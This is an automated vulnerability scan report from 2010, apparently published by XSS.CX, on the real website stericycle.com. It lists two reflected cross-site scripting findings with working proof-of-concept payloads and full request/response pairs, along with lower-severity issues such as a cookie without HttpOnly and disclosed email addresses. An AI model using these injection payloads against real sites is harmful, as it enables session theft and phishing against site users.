Report generated by XSS.CX at Tue Nov 16 12:22:20 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://www.stericycle.com/inforequest.html [type parameter]

1.2. http://www.stericycle.com/inforequest.html [type parameter]

2. Cookie without HttpOnly flag set

3. Cross-domain POST

4. Cross-domain Referer leakage

5. Email addresses disclosed

5.1. http://www.stericycle.com/contact-us.html

5.2. http://www.stericycle.com/js/dragdrop.js


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.stericycle.com/inforequest.html [type parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.stericycle.com
Path:   /inforequest.html

Issue detail

The value of the type request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e1ddb'-alert(1)-'cdbf98e7777 was submitted in the type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /inforequest.html?type=customere1ddb'-alert(1)-'cdbf98e7777 HTTP/1.1
Host: www.stericycle.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: stericycle_session=ulft6p88ug179jfvrnhrrp10o0; __utmz=6015857.1289931586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=6015857.1600573182.1289931586.1289931586.1289931586.1; __utmc=6015857; __utmb=6015857.1.10.1289931586;

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 18:21:09 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Vary: Accept-Encoding
P3P: CP="NON"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13222


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Contact Stericycle</t
...[SNIP]...
<!--
function submitContactForm() {
   var contactType = 'customere1ddb'-alert(1)-'cdbf98e7777';
   var errors = [];
   var error_srting = '';
   var form_el = $('contact_form');

   var req_text_vals = [["first_name","First Name"],["last_name","Last Name"],["state","State"],["zip","Zip"],["phone","Pho
...[SNIP]...
1.2. http://www.stericycle.com/inforequest.html [type parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.stericycle.com
Path:   /inforequest.html

Issue detail

The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e69c"><script>alert(1)</script>61a1397b38 was submitted in the type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /inforequest.html?type=customer8e69c"><script>alert(1)</script>61a1397b38 HTTP/1.1
Host: www.stericycle.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: stericycle_session=ulft6p88ug179jfvrnhrrp10o0; __utmz=6015857.1289931586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=6015857.1600573182.1289931586.1289931586.1289931586.1; __utmc=6015857; __utmb=6015857.1.10.1289931586;

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 18:21:08 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Vary: Accept-Encoding
P3P: CP="NON"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13250


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Contact Stericycle</t
...[SNIP]...
<input type=hidden name="customerType" value="customer8e69c"><script>alert(1)</script>61a1397b38" />
...[SNIP]...
2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.stericycle.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.stericycle.com

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 18:20:20 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Set-Cookie: stericycle_session=ulft6p88ug179jfvrnhrrp10o0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Vary: Accept-Encoding
P3P: CP="NON"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 34382


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Stericycle - Med
...[SNIP]...
3. Cross-domain POST  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.stericycle.com
Path:   /inforequest.html

Issue detail

The page contains a form which POSTs data to the domain www.salesforce.com. The form contains the following fields:

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

Request

GET /inforequest.html?type=noncustomer HTTP/1.1
Host: www.stericycle.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: stericycle_session=ulft6p88ug179jfvrnhrrp10o0; __utmz=6015857.1289931586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=6015857.1600573182.1289931586.1289931586.1289931586.1; __utmc=6015857; __utmb=6015857.1.10.1289931586;

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 18:21:00 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Vary: Accept-Encoding
P3P: CP="NON"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13534


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Contact Stericycle</t
...[SNIP]...
<div class="form" id="contact_form_container">
   <form action="https://www.salesforce.com/servlet/servlet.WebToLead?encoding=UTF-8" method="post" id="contact_form" onsubmit="return submitContactForm();">
   <fieldset id="personal_info">
...[SNIP]...
4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.stericycle.com
Path:   /inforequest.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /inforequest.html?type=customer HTTP/1.1
Host: www.stericycle.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: stericycle_session=ulft6p88ug179jfvrnhrrp10o0; __utmz=6015857.1289931586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=6015857.1600573182.1289931586.1289931586.1289931586.1; __utmc=6015857; __utmb=6015857.1.10.1289931586;

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 18:21:00 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Vary: Accept-Encoding
P3P: CP="NON"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13307


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Contact Stericycle</t
...[SNIP]...
<noscript>
<iframe src="http://view.atdmt.com/iaction/movscl_InformationRequestForm_2" width="1" height="1" frameborder="0" scrolling="No" marginheight="0" marginwidth="0" topmargin="0" leftmargin="0"></iframe>
...[SNIP]...
5. Email addresses disclosed  previous
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

5.1. http://www.stericycle.com/contact-us.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.stericycle.com
Path:   /contact-us.html

Issue detail

The following email addresses were disclosed in the response:

Request

GET /contact-us.html HTTP/1.1
Host: www.stericycle.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: stericycle_session=ulft6p88ug179jfvrnhrrp10o0; __utmz=6015857.1289931586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=6015857.1600573182.1289931586.1289931586.1289931586.1; __utmc=6015857; __utmb=6015857.1.10.1289931586;

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 18:21:02 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Vary: Accept-Encoding
P3P: CP="NON"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8920


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>Contact Us - Stericyc
...[SNIP]...
<a href="mailto:customercare@stericycle.com">customercare@stericycle.com</a>
...[SNIP]...
<a href="mailto:asktheexperts@stericycle.com">asktheexperts@stericycle.com</a>
...[SNIP]...
<a href="mailto:global@stericycle.com">global@stericycle.com</a>
...[SNIP]...
<a href="mailto:investor@stericycle.com">investor@stericycle.com</a>
...[SNIP]...
5.2. http://www.stericycle.com/js/dragdrop.js  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.stericycle.com
Path:   /js/dragdrop.js

Issue detail

The following email address was disclosed in the response:

Request

GET /js/dragdrop.js HTTP/1.1
Accept: */*
Referer: http://www.stericycle.com/stericycle-services.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.stericycle.com
Proxy-Connection: Keep-Alive
Cookie: stericycle_session=ulft6p88ug179jfvrnhrrp10o0; __utma=6015857.1600573182.1289931586.1289931586.1289931586.1; __utmb=6015857.1.10.1289931586; __utmc=6015857; __utmz=6015857.1289931586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 18:21:08 GMT
Server: Apache/2.2.3 (Red Hat)
Accept-Ranges: bytes
Vary: Accept-Encoding
P3P: CP="NON"
Cache-Control: max-age=290304000, public
Connection: close
Content-Type: application/x-javascript
Content-Length: 31408

// script.aculo.us dragdrop.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007

// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005-2007 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if(typeof Effect == 'undefined')
t
...[SNIP]...
Report generated by XSS.CX at Tue Nov 16 12:22:20 CST 2010.